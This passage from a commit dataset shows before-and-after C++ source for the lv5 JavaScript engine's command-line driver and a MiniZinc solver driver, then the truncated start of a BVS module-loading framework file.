signal(SIGILL, _exit); signal(SIGFPE, _exit); signal(SIGBUS, _exit); signal(SIGSEGV, _exit); #endif } const std::vector<std::string>& rest = cmd.rest(); if (!rest.empty() || cmd.Exist("file") || cmd.Exist("execute")) { std::vector<char> res; std::string filename; if (cmd.Exist("file")) { const std::vector<std::string>& vec = cmd.GetList<std::string>("file"); if (!cmd.Exist("ast") && !cmd.Exist("dis") && !cmd.Exist("interp")) { if (cmd.Exist("railgun")) { return RailgunExecuteFiles(vec); } #if defined(IV_ENABLE_JIT) return BreakerExecuteFiles(vec); #else return RailgunExecuteFiles(vec); #endif } for (std::vector<std::string>::const_iterator it = vec.begin(), last = vec.end(); it != last; ++it, filename.push_back(' ')) { filename.append(*it); if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } } } else if (cmd.Exist("execute")) { const std::string& com = cmd.Get<std::string>("execute"); filename = "<command>"; res.insert(res.end(), com.begin(), com.end()); } else { filename = rest.front(); if (!iv::core::ReadFile(filename, &res)) { return EXIT_FAILURE; } } const iv::core::StringPiece src(res.data(), res.size()); if (cmd.Exist("ast")) { return Ast(src, filename); } else if (cmd.Exist("dis")) { return DisAssemble(src, filename); } else if (cmd.Exist("interp")) { return Interpret(src, filename); } else if (cmd.Exist("railgun")) { return RailgunExecute(src, filename, cmd.Exist("statistics")); } else { #if defined(IV_ENABLE_JIT) return BreakerExecute(src, filename, cmd.Exist("statistics")); #else return RailgunExecute(src, filename, cmd.Exist("statistics")); #endif } } else { // Interactive Shell Mode if (cmd.Exist("interp")) { iv::lv5::teleporter::Interactive shell; return shell.Run(); } else { iv::lv5::railgun::Interactive shell(cmd.Exist("dis")); return shell.Run(); } } return 0; } <commit_msg>Fix compile error in Windows<commit_after>#include <cstdio> #include <cstdlib> #include <locale> #include <string> #include <vector> #include <iv/stringpiece.h> #include <iv/ustringpiece.h> #include <iv/about.h> #include <iv/cmdline.h> #include <iv/lv5/lv5.h> #include <iv/lv5/teleporter/interactive.h> #include <iv/lv5/railgun/command.h> #include <iv/lv5/railgun/interactive.h> #include <iv/lv5/breaker/command.h> #include <iv/lv5/melt/melt.h> #if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD) #include <signal.h> #endif namespace { void InitContext(iv::lv5::Context* ctx) { iv::lv5::Error::Dummy dummy; ctx->DefineFunction<&iv::lv5::Print, 1>("print"); ctx->DefineFunction<&iv::lv5::Log, 1>("log"); // this is simply output log function ctx->DefineFunction<&iv::lv5::Quit, 1>("quit"); ctx->DefineFunction<&iv::lv5::CollectGarbage, 0>("gc"); ctx->DefineFunction<&iv::lv5::HiResTime, 0>("HiResTime"); ctx->DefineFunction<&iv::lv5::railgun::Dis, 1>("dis"); ctx->DefineFunction<&iv::lv5::breaker::Run, 0>("run"); iv::lv5::melt::Console::Export(ctx, &dummy); } #if defined(IV_ENABLE_JIT) int BreakerExecute(const iv::core::StringPiece& data, const std::string& filename, bool statistics) { iv::lv5::Error::Standard e; iv::lv5::breaker::Context ctx; InitContext(&ctx); std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } ctx.Validate(); return EXIT_SUCCESS; } int BreakerExecuteFiles(const std::vector<std::string>& filenames) { iv::lv5::Error::Standard e; iv::lv5::breaker::Context ctx; InitContext(&ctx); std::vector<char> res; for (std::vector<std::string>::const_iterator it = filenames.begin(), last = filenames.end(); it != last; ++it) { if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource( iv::core::StringPiece(res.data(), res.size()), *it)); res.clear(); iv::lv5::breaker::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } } ctx.Validate(); return EXIT_SUCCESS; } #endif int RailgunExecute(const iv::core::StringPiece& data, const std::string& filename, bool statistics) { iv::lv5::Error::Standard e; iv::lv5::railgun::Context ctx; InitContext(&ctx); std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } if (statistics) { ctx.vm()->DumpStatistics(); } ctx.Validate(); return EXIT_SUCCESS; } int RailgunExecuteFiles(const std::vector<std::string>& filenames) { iv::lv5::Error::Standard e; iv::lv5::railgun::Context ctx; InitContext(&ctx); std::vector<char> res; for (std::vector<std::string>::const_iterator it = filenames.begin(), last = filenames.end(); it != last; ++it) { if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource( iv::core::StringPiece(res.data(), res.size()), *it)); res.clear(); iv::lv5::railgun::ExecuteInGlobal(&ctx, src, &e); if (e) { e.Dump(&ctx, stderr); return EXIT_FAILURE; } } ctx.Validate(); return EXIT_SUCCESS; } int DisAssemble(const iv::core::StringPiece& data, const std::string& filename) { iv::lv5::railgun::Context ctx; iv::lv5::Error::Standard e; std::shared_ptr<iv::core::FileSource> src(new iv::core::FileSource(data, filename)); iv::lv5::railgun::Code* code = iv::lv5::railgun::CompileInGlobal(&ctx, src, true, &e); if (e) { return EXIT_FAILURE; } iv::lv5::railgun::OutputDisAssembler dis(&ctx, stdout); dis.DisAssembleGlobal(*code); return EXIT_SUCCESS; } int Interpret(const iv::core::StringPiece& data, const std::string& filename) { iv::core::FileSource src(data, filename); iv::lv5::teleporter::Context ctx; iv::lv5::AstFactory factory(&ctx); iv::core::Parser<iv::lv5::AstFactory, iv::core::FileSource> parser(&factory, src, ctx.symbol_table()); const iv::lv5::FunctionLiteral* const global = parser.ParseProgram(); if (!global) { std::fprintf(stderr, "%s\n", parser.error().c_str()); return EXIT_FAILURE; } ctx.DefineFunction<&iv::lv5::Print, 1>("print"); ctx.DefineFunction<&iv::lv5::Quit, 1>("quit"); ctx.DefineFunction<&iv::lv5::HiResTime, 0>("HiResTime"); iv::lv5::teleporter::JSScript* const script = iv::lv5::teleporter::JSGlobalScript::New(&ctx, global, &factory, &src); if (ctx.Run(script)) { ctx.error()->Dump(&ctx, stderr); return EXIT_FAILURE; } return EXIT_SUCCESS; } int Ast(const iv::core::StringPiece& data, const std::string& filename) { iv::core::FileSource src(data, filename); iv::lv5::railgun::Context ctx; iv::lv5::AstFactory factory(&ctx); iv::core::Parser<iv::lv5::AstFactory, iv::core::FileSource> parser(&factory, src, ctx.symbol_table()); const iv::lv5::FunctionLiteral* const global = parser.ParseProgram(); if (!global) { std::fprintf(stderr, "%s\n", parser.error().c_str()); return EXIT_FAILURE; } iv::core::ast::AstSerializer<iv::lv5::AstFactory> ser; ser.Visit(global); const iv::core::UString str = ser.out(); iv::core::unicode::FPutsUTF16(stdout, str.begin(), str.end()); return EXIT_SUCCESS; } } // namespace anonymous int main(int argc, char **argv) { iv::lv5::FPU fpu; iv::lv5::program::Init(argc, argv); iv::lv5::Init(); iv::cmdline::Parser cmd("lv5"); cmd.Add("help", "help", 'h', "print this message"); cmd.Add("version", "version", 'v', "print the version"); cmd.AddList<std::string>( "file", "file", 'f', "script file to load"); cmd.Add("signal", "", 's', "install signal handlers"); cmd.Add<std::string>( "execute", "execute", 'e', "execute command", false); cmd.Add("ast", "ast", 0, "print ast"); cmd.Add("interp", "interp", 0, "use interpreter"); cmd.Add("railgun", "railgun", 0, "force railgun VM"); cmd.Add("dis", "dis", 'd', "print bytecode"); cmd.Add("statistics", "statistics", 0, "print statistics"); cmd.Add("copyright", "copyright", 0, "print the copyright"); cmd.set_footer("[program_file] [arguments]"); const bool cmd_parse_success = cmd.Parse(argc, argv); if (!cmd_parse_success) { std::fprintf(stderr, "%s\n%s", cmd.error().c_str(), cmd.usage().c_str()); return EXIT_FAILURE; } if (cmd.Exist("help")) { std::fputs(cmd.usage().c_str(), stdout); return EXIT_SUCCESS; } if (cmd.Exist("version")) { std::printf("lv5 %s (compiled %s %s)\n", IV_VERSION, __DATE__, __TIME__); return EXIT_SUCCESS; } if (cmd.Exist("copyright")) { std::printf("lv5 - %s\n", IV_COPYRIGHT); return EXIT_SUCCESS; } if (cmd.Exist("signal")) { #if defined(IV_OS_MACOSX) || defined(IV_OS_LINUX) || defined(IV_OS_BSD) signal(SIGILL, _exit); signal(SIGFPE, _exit); signal(SIGBUS, _exit); signal(SIGSEGV, _exit); #endif } const std::vector<std::string>& rest = cmd.rest(); if (!rest.empty() || cmd.Exist("file") || cmd.Exist("execute")) { std::vector<char> res; std::string filename; if (cmd.Exist("file")) { const std::vector<std::string>& vec = cmd.GetList<std::string>("file"); if (!cmd.Exist("ast") && !cmd.Exist("dis") && !cmd.Exist("interp")) { if (cmd.Exist("railgun")) { return RailgunExecuteFiles(vec); } #if defined(IV_ENABLE_JIT) return BreakerExecuteFiles(vec); #else return RailgunExecuteFiles(vec); #endif } for (std::vector<std::string>::const_iterator it = vec.begin(), last = vec.end(); it != last; ++it, filename.push_back(' ')) { filename.append(*it); if (!iv::core::ReadFile(*it, &res)) { return EXIT_FAILURE; } } } else if (cmd.Exist("execute")) { const std::string& com = cmd.Get<std::string>("execute"); filename = "<command>"; res.insert(res.end(), com.begin(), com.end()); } else { filename = rest.front(); if (!iv::core::ReadFile(filename, &res)) { return EXIT_FAILURE; } } const iv::core::StringPiece src(res.data(), res.size()); if (cmd.Exist("ast")) { return Ast(src, filename); } else if (cmd.Exist("dis")) { return DisAssemble(src, filename); } else if (cmd.Exist("interp")) { return Interpret(src, filename); } else if (cmd.Exist("railgun")) { return RailgunExecute(src, filename, cmd.Exist("statistics")); } else { #if defined(IV_ENABLE_JIT) return BreakerExecute(src, filename, cmd.Exist("statistics")); #else return RailgunExecute(src, filename, cmd.Exist("statistics")); #endif } } else { // Interactive Shell Mode if (cmd.Exist("interp")) { iv::lv5::teleporter::Interactive shell; return shell.Run(); } else { iv::lv5::railgun::Interactive shell(cmd.Exist("dis")); return shell.Run(); } } return 0; } <|endoftext|>
<commit_before> /* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */ /* * Main authors: * Guido Tack <[email protected]> * Gleb Belov <[email protected]> */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* This (main) file coordinates flattening and solving. * The corresponding modules are flexibly plugged in * as derived classes, prospectively from DLLs. * A flattening module should provide MinZinc::GetFlattener() * A solving module should provide an object of a class derived from SolverFactory. * Need to get more flexible for multi-pass & multi-solving stuff TODO */ #ifdef _MSC_VER #define _CRT_SECURE_NO_WARNINGS #endif #include <iostream> #include <fstream> #include <iomanip> #include <cstdlib> using namespace std; #include <minizinc/solver.hh> using namespace MiniZinc; int main(int argc, const char** argv) { clock_t starttime = std::clock(), endTime; bool fSuccess = false; MznSolver slv; try { slv.addFlattener(); if (!slv.processOptions(argc, argv)) { slv.printHelp(); exit(EXIT_FAILURE); } slv.flatten(); if (SolverInstance::UNKNOWN == slv.getFlt()->status) { fSuccess = true; if ( !slv.ifMzn2Fzn() ) { // only then GCLock lock; slv.addSolverInterface(); slv.solve(); } } else if (SolverInstance::ERROR == slv.getFlt()->status) { // slv.s2out.evalStatus( slv.getFlt()->status ); } else { fSuccess = true; // slv.s2out.evalStatus( slv.getFlt()->status ); } // TODO Move evalOutput() here? } catch (const LocationException& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.loc() << ":" << std::endl; std::cerr << e.what() << ": " << e.msg() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (const Exception& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.what() << ": " << e.msg() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (const exception& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.what() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (...) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << " UNKNOWN EXCEPTION." << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } if ( !slv.ifMzn2Fzn() ) { endTime = clock(); if (slv.get_flag_verbose()) { std::cerr << " Done ("; cerr << "overall time " << timeDiff(endTime, starttime) << ")." << std::endl; } } return !fSuccess; } // int main() // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ SolverRegistry* MiniZinc::getGlobalSolverRegistry() { static SolverRegistry sr; return &sr; } void SolverRegistry::addSolverFactory(SolverFactory* pSF) { assert(pSF); sfstorage.push_back(pSF); } void SolverRegistry::removeSolverFactory(SolverFactory* pSF) { auto it = find(sfstorage.begin(), sfstorage.end(), pSF); assert(pSF); sfstorage.erase(it); } /// Function createSI also adds each SI to the local storage SolverInstanceBase * SolverFactory::createSI(Env& env) { SolverInstanceBase *pSI = doCreateSI(env); if (!pSI) { cerr << " SolverFactory: failed to initialize solver " << getVersion() << endl; throw InternalError(" SolverFactory: failed to initialize solver"); } sistorage.resize(sistorage.size()+1); sistorage.back().reset(pSI); return pSI; } /// also providing a destroy function for a DLL or just special allocator etc. void SolverFactory::destroySI(SolverInstanceBase * pSI) { auto it = sistorage.begin(); for ( ; it != sistorage.end(); ++ it) if (it->get() == pSI) break; if (sistorage.end() == it) { cerr << " SolverFactory: failed to remove solver at " << pSI << endl; throw InternalError(" SolverFactory: failed to remove solver"); } sistorage.erase(it); } MznSolver::~MznSolver() { // if (si) // first the solver // CleanupSolverInterface(si); // TODO cleanup the used solver interfaces si=0; if (flt) cleanupGlobalFlattener(flt); flt=0; } bool MznSolver::ifMzn2Fzn() { #ifdef FLATTEN_ONLY return true; #else return 0==getNSolvers(); #endif } void MznSolver::addFlattener() { flt = getGlobalFlattener(ifMzn2Fzn()); assert(flt); } void MznSolver::addSolverInterface() { assert(getGlobalSolverRegistry()->getSolverFactories().size()); si = getGlobalSolverRegistry()->getSolverFactories().front()->createSI(*flt->getEnv()); assert(si); s2out.initFromEnv( flt->getEnv() ); si->setSolns2Out( &s2out ); if (get_flag_verbose()) cerr // << " ---------------------------------------------------------------------------\n" << " % SOLVING PHASE\n" << getGlobalSolverRegistry()->getSolverFactories().front()->getVersion() << endl; } void MznSolver::printHelp() { if ( !ifMzn2Fzn() ) cout << "NICTA MiniZinc driver.\n" << "Usage: <executable>" //<< argv[0] << " [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...] or just <flat>.fzn" << std::endl; else cout << "NICTA MiniZinc to FlatZinc converter.\n" << "Usage: <executable>" //<< argv[0] << " [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]" << std::endl; cout << "Options:" << std::endl << " --help, -h\n Print this help message." << std::endl << " --version\n Print version information." << std::endl << " -v, -l, --verbose\n Print progress/log statements. Note that some solvers may log to stdout." << std::endl << " -s, --statistics\n Print statistics." << std::endl; // if ( getNSolvers() ) getFlt()->printHelp(cout); cout << endl; if ( !ifMzn2Fzn() ) { s2out.printHelp(cout); cout << endl; } for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) { (*it)->printHelp(cout); cout << endl; } } bool MznSolver::processOptions(int argc, const char** argv) { int i=1; if (argc < 2) return false; for (i=1; i<argc; ++i) { if (string(argv[i])=="-h" || string(argv[i])=="--help") { printHelp(); std::exit(EXIT_SUCCESS); } if (string(argv[i])=="--version") { getFlt()->printVersion(cout); for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) cout << (*it)->getVersion() << endl; std::exit(EXIT_SUCCESS); } // moving --verbose here: if ((argv[i])==string("-v") || (argv[i])==string("--verbose") || (argv[i])==string("-l")) { flag_verbose = true; } else if (string(argv[i])=="-s" || string(argv[i])=="--statistics") { flag_statistics = true; // is this Flattener's option? } else if ( !ifMzn2Fzn() ? s2out.processOption( i, argc, argv ) : false ) { } else if (!getFlt()->processOption(i, argc, argv)) { for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) if ((*it)->processOption(i, argc, argv)) goto Found; goto NotFound; } Found: { } } return true; NotFound: cerr << " Unrecognized option: '" << argv[i] << "'" << endl; return false; } void MznSolver::flatten() { getFlt()->set_flag_verbose(get_flag_verbose()); getFlt()->set_flag_statistics(get_flag_statistics()); clock_t tm01 = clock(); getFlt()->flatten(); if (get_flag_verbose()) std::cerr << " Flattening done, " << timeDiff(clock(), tm01) << std::endl; } void MznSolver::solve() { GCLock lock; getSI()->getOptions().setBoolParam (constants().opts.verbose.str(), get_flag_verbose()); getSI()->getOptions().setBoolParam (constants().opts.statistics.str(), get_flag_statistics()); getSI()->processFlatZinc(); SolverInstance::Status status = getSI()->solve(); if (status==SolverInstance::SAT || status==SolverInstance::OPT) { getSI()->printSolution(); // What if it's already printed? TODO if ( !getSI()->getSolns2Out()->fStatusPrinted ) getSI()->getSolns2Out()->evalStatus( status ); } else { if ( !getSI()->getSolns2Out()->fStatusPrinted ) getSI()->getSolns2Out()->evalStatus( status ); if (get_flag_statistics()) // it's summary in fact printStatistics(); } } void MznSolver::printStatistics() { // from flattener too? TODO if (si) getSI()->printStatisticsLine(cout, 1); } <commit_msg>mzn2fzn evaluates solution status (prints status message) if not UNKNOWN<commit_after> /* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */ /* * Main authors: * Guido Tack <[email protected]> * Gleb Belov <[email protected]> */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* This (main) file coordinates flattening and solving. * The corresponding modules are flexibly plugged in * as derived classes, prospectively from DLLs. * A flattening module should provide MinZinc::GetFlattener() * A solving module should provide an object of a class derived from SolverFactory. * Need to get more flexible for multi-pass & multi-solving stuff TODO */ #ifdef _MSC_VER #define _CRT_SECURE_NO_WARNINGS #endif #include <iostream> #include <fstream> #include <iomanip> #include <cstdlib> using namespace std; #include <minizinc/solver.hh> using namespace MiniZinc; int main(int argc, const char** argv) { clock_t starttime = std::clock(), endTime; bool fSuccess = false; MznSolver slv; try { slv.addFlattener(); if (!slv.processOptions(argc, argv)) { slv.printHelp(); exit(EXIT_FAILURE); } slv.flatten(); if (SolverInstance::UNKNOWN == slv.getFlt()->status) { fSuccess = true; if ( !slv.ifMzn2Fzn() ) { // only then GCLock lock; slv.addSolverInterface(); slv.solve(); } } else if (SolverInstance::ERROR == slv.getFlt()->status) { slv.s2out.evalStatus( slv.getFlt()->status ); } else { fSuccess = true; slv.s2out.evalStatus( slv.getFlt()->status ); } // TODO Move evalOutput() here? } catch (const LocationException& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.loc() << ":" << std::endl; std::cerr << e.what() << ": " << e.msg() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (const Exception& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.what() << ": " << e.msg() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (const exception& e) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << e.what() << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } catch (...) { if (slv.get_flag_verbose()) std::cerr << std::endl; std::cerr << " UNKNOWN EXCEPTION." << std::endl; slv.s2out.evalStatus( SolverInstance::ERROR ); } if ( !slv.ifMzn2Fzn() ) { endTime = clock(); if (slv.get_flag_verbose()) { std::cerr << " Done ("; cerr << "overall time " << timeDiff(endTime, starttime) << ")." << std::endl; } } return !fSuccess; } // int main() // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ SolverRegistry* MiniZinc::getGlobalSolverRegistry() { static SolverRegistry sr; return &sr; } void SolverRegistry::addSolverFactory(SolverFactory* pSF) { assert(pSF); sfstorage.push_back(pSF); } void SolverRegistry::removeSolverFactory(SolverFactory* pSF) { auto it = find(sfstorage.begin(), sfstorage.end(), pSF); assert(pSF); sfstorage.erase(it); } /// Function createSI also adds each SI to the local storage SolverInstanceBase * SolverFactory::createSI(Env& env) { SolverInstanceBase *pSI = doCreateSI(env); if (!pSI) { cerr << " SolverFactory: failed to initialize solver " << getVersion() << endl; throw InternalError(" SolverFactory: failed to initialize solver"); } sistorage.resize(sistorage.size()+1); sistorage.back().reset(pSI); return pSI; } /// also providing a destroy function for a DLL or just special allocator etc. void SolverFactory::destroySI(SolverInstanceBase * pSI) { auto it = sistorage.begin(); for ( ; it != sistorage.end(); ++ it) if (it->get() == pSI) break; if (sistorage.end() == it) { cerr << " SolverFactory: failed to remove solver at " << pSI << endl; throw InternalError(" SolverFactory: failed to remove solver"); } sistorage.erase(it); } MznSolver::~MznSolver() { // if (si) // first the solver // CleanupSolverInterface(si); // TODO cleanup the used solver interfaces si=0; if (flt) cleanupGlobalFlattener(flt); flt=0; } bool MznSolver::ifMzn2Fzn() { #ifdef FLATTEN_ONLY return true; #else return 0==getNSolvers(); #endif } void MznSolver::addFlattener() { flt = getGlobalFlattener(ifMzn2Fzn()); assert(flt); } void MznSolver::addSolverInterface() { assert(getGlobalSolverRegistry()->getSolverFactories().size()); si = getGlobalSolverRegistry()->getSolverFactories().front()->createSI(*flt->getEnv()); assert(si); s2out.initFromEnv( flt->getEnv() ); si->setSolns2Out( &s2out ); if (get_flag_verbose()) cerr // << " ---------------------------------------------------------------------------\n" << " % SOLVING PHASE\n" << getGlobalSolverRegistry()->getSolverFactories().front()->getVersion() << endl; } void MznSolver::printHelp() { if ( !ifMzn2Fzn() ) cout << "NICTA MiniZinc driver.\n" << "Usage: <executable>" //<< argv[0] << " [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...] or just <flat>.fzn" << std::endl; else cout << "NICTA MiniZinc to FlatZinc converter.\n" << "Usage: <executable>" //<< argv[0] << " [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]" << std::endl; cout << "Options:" << std::endl << " --help, -h\n Print this help message." << std::endl << " --version\n Print version information." << std::endl << " -v, -l, --verbose\n Print progress/log statements. Note that some solvers may log to stdout." << std::endl << " -s, --statistics\n Print statistics." << std::endl; // if ( getNSolvers() ) getFlt()->printHelp(cout); cout << endl; if ( !ifMzn2Fzn() ) { s2out.printHelp(cout); cout << endl; } for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) { (*it)->printHelp(cout); cout << endl; } } bool MznSolver::processOptions(int argc, const char** argv) { int i=1; if (argc < 2) return false; for (i=1; i<argc; ++i) { if (string(argv[i])=="-h" || string(argv[i])=="--help") { printHelp(); std::exit(EXIT_SUCCESS); } if (string(argv[i])=="--version") { getFlt()->printVersion(cout); for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) cout << (*it)->getVersion() << endl; std::exit(EXIT_SUCCESS); } // moving --verbose here: if ((argv[i])==string("-v") || (argv[i])==string("--verbose") || (argv[i])==string("-l")) { flag_verbose = true; } else if (string(argv[i])=="-s" || string(argv[i])=="--statistics") { flag_statistics = true; // is this Flattener's option? } else if ( !ifMzn2Fzn() ? s2out.processOption( i, argc, argv ) : false ) { } else if (!getFlt()->processOption(i, argc, argv)) { for (auto it = getGlobalSolverRegistry()->getSolverFactories().begin(); it != getGlobalSolverRegistry()->getSolverFactories().end(); ++it) if ((*it)->processOption(i, argc, argv)) goto Found; goto NotFound; } Found: { } } return true; NotFound: cerr << " Unrecognized option or bad format: '" << argv[i] << "'" << endl; return false; } void MznSolver::flatten() { getFlt()->set_flag_verbose(get_flag_verbose()); getFlt()->set_flag_statistics(get_flag_statistics()); clock_t tm01 = clock(); getFlt()->flatten(); if (get_flag_verbose()) std::cerr << " Flattening done, " << timeDiff(clock(), tm01) << std::endl; } void MznSolver::solve() { GCLock lock; getSI()->getOptions().setBoolParam (constants().opts.verbose.str(), get_flag_verbose()); getSI()->getOptions().setBoolParam (constants().opts.statistics.str(), get_flag_statistics()); getSI()->processFlatZinc(); SolverInstance::Status status = getSI()->solve(); if (status==SolverInstance::SAT || status==SolverInstance::OPT) { getSI()->printSolution(); // What if it's already printed? TODO if ( !getSI()->getSolns2Out()->fStatusPrinted ) getSI()->getSolns2Out()->evalStatus( status ); } else { if ( !getSI()->getSolns2Out()->fStatusPrinted ) getSI()->getSolns2Out()->evalStatus( status ); if (get_flag_statistics()) // it's summary in fact printStatistics(); } } void MznSolver::printStatistics() { // from flattener too? TODO if (si) getSI()->printStatisticsLine(cout, 1); } <|endoftext|>
<commit_before>#include "bvs/bvs.h" #include "bvs/traits.h" #include "control.h" #include "loader.h" #ifdef BVS_LOG_SYSTEM #include "logsystem.h" #endif BVS::BVS::BVS(int argc, char** argv, std::function<void()>shutdownHandler) : config{"bvs", argc, argv}, shutdownHandler(shutdownHandler), info(Info{config, 0, {}, {}}), #ifdef BVS_LOG_SYSTEM logSystem{LogSystem::connectToLogSystem()}, logger{"BVS"}, #endif loader{new Loader{info}}, control{new Control{loader->modules, *this, info}}, moduleStack{} { #ifdef BVS_LOG_SYSTEM logSystem->updateSettings(config); logSystem->updateLoggerLevels(config); #endif } BVS::BVS::~BVS() { delete control; delete loader; } BVS::BVS& BVS::BVS::loadModules() { // get module list from config std::vector<std::string> moduleList; config.getValue("BVS.modules", moduleList); std::string poolName; // check length if (moduleList.size()==0) { LOG(1, "No modules specified, nothing to load!"); return *this; } // load all selected modules bool asThread; for (auto& it : moduleList) { asThread = false; poolName.clear(); // check for thread selection ('+' prefix) and system settings if (it[0]=='+') { it.erase(0, 1); if (it[0]=='[') { LOG(0, "Cannot start module in thread AND pool!"); exit(1); } asThread = true; } if (it[0]=='[') { size_t pos = it.find_first_of(']'); poolName = it.substr(1, pos-1); it.erase(0, pos+1); } loadModule(it , asThread, poolName); } return *this; } BVS::BVS& BVS::BVS::loadModule(const std::string& moduleTraits, bool asThread, std::string poolName) { std::string id; std::string library; std::string configuration; std::string options; // adapt to module thread/pools settings bool moduleThreads = config.getValue<bool>("BVS.moduleThreads", bvs_module_threads); bool forceModuleThreads = config.getValue<bool>("BVS.forceModuleThreads", bvs_module_force_threads); bool modulePools = config.getValue<bool>("BVS.modulePools", bvs_module_pools); if (forceModuleThreads) asThread = true; if (!moduleThreads) asThread = false; if (!modulePools) poolName.clear(); // separate id, library, configuration and options size_t separator = moduleTraits.find_first_of(".()"); if (separator==std::string::npos) id = moduleTraits; else if (moduleTraits.at(separator)=='.') { id = moduleTraits.substr(0, separator); options = moduleTraits.substr(separator+1, std::string::npos); } else if (moduleTraits.at(separator)=='(') { size_t dot = moduleTraits.find_first_of('.'); size_t rp = moduleTraits.find_first_of(')'); id = moduleTraits.substr(0, separator); library = moduleTraits.substr(separator+1, rp-separator-1); options = moduleTraits.substr(rp+2<moduleTraits.size()?rp+2:rp+1, std::string::npos); if (dot<rp) { library = moduleTraits.substr(separator+1, dot-separator-1); configuration = moduleTraits.substr(dot+1, rp-dot-1); } } if (library.empty()) library = id; if (configuration.empty()) configuration = id; // load loader->load(id, library, configuration, options, asThread, poolName); control->startModule(id); moduleStack.push(id); return *this; } BVS::BVS& BVS::BVS::unloadModules() { while (!moduleStack.empty()) { if(loader->modules.find(moduleStack.top())!=loader->modules.end()) { unloadModule(moduleStack.top()); } moduleStack.pop(); } return *this; } BVS::BVS& BVS::BVS::unloadModule(const std::string& id) { SystemFlag state = control->queryActiveFlag(); if (state!=SystemFlag::QUIT) control->sendCommand(SystemFlag::PAUSE); control->waitUntilInactive(id); control->purgeData(id); control->quitModule(id); loader->unload(id); if (state!=SystemFlag::QUIT) control->sendCommand(state); return *this; } BVS::BVS& BVS::BVS::loadConfigFile(const std::string& configFile) { config.loadConfigFile(configFile); #ifdef BVS_LOG_SYSTEM logSystem->updateSettings(config); logSystem->updateLoggerLevels(config); #endif return *this; } BVS::BVS& BVS::BVS::setLogSystemVerbosity(const unsigned short verbosity) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->setSystemVerbosity(verbosity); #else (void) verbosity; #endif return *this; } BVS::BVS& BVS::BVS::enableLogFile(const std::string& file, bool append) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->enableLogFile(file, append); #else (void) file; (void) append; #endif return *this; } BVS::BVS& BVS::BVS::disableLogFile() { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->disableLogFile(); #endif return *this; } BVS::BVS& BVS::BVS::enableLogConsole(const std::ostream& out) { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->enableLogConsole(out); #else (void) out; #endif return *this; } BVS::BVS& BVS::BVS::disableLogConsole() { #ifdef BVS_LOG_SYSTEM if (logSystem) logSystem->disableLogConsole(); #endif return *this; } BVS::BVS& BVS::BVS::connectAllModules() { loader->connectAllModules(); return *this; } BVS::BVS& BVS::BVS::connectModule(const std::string id) { loader->connectModule(id, config.getValue<bool>("BVS.connectorTypeMatching", bvs_connector_type_matching)); return *this; } BVS::BVS& BVS::BVS::start(bool forkMasterController) { control->masterController(forkMasterController); return *this; } BVS::BVS& BVS::BVS::run() { control->sendCommand(SystemFlag::RUN); return *this; } BVS::BVS& BVS::BVS::step() { control->sendCommand(SystemFlag::STEP); return *this; } BVS::BVS& BVS::BVS::pause() { control->sendCommand(SystemFlag::PAUSE); return *this; } BVS::BVS& BVS::BVS::hotSwap(const std::string& id) { #ifdef BVS_MODULE_HOTSWAP if (control->modules.find(id)!=control->modules.end()) { SystemFlag state = control->queryActiveFlag(); 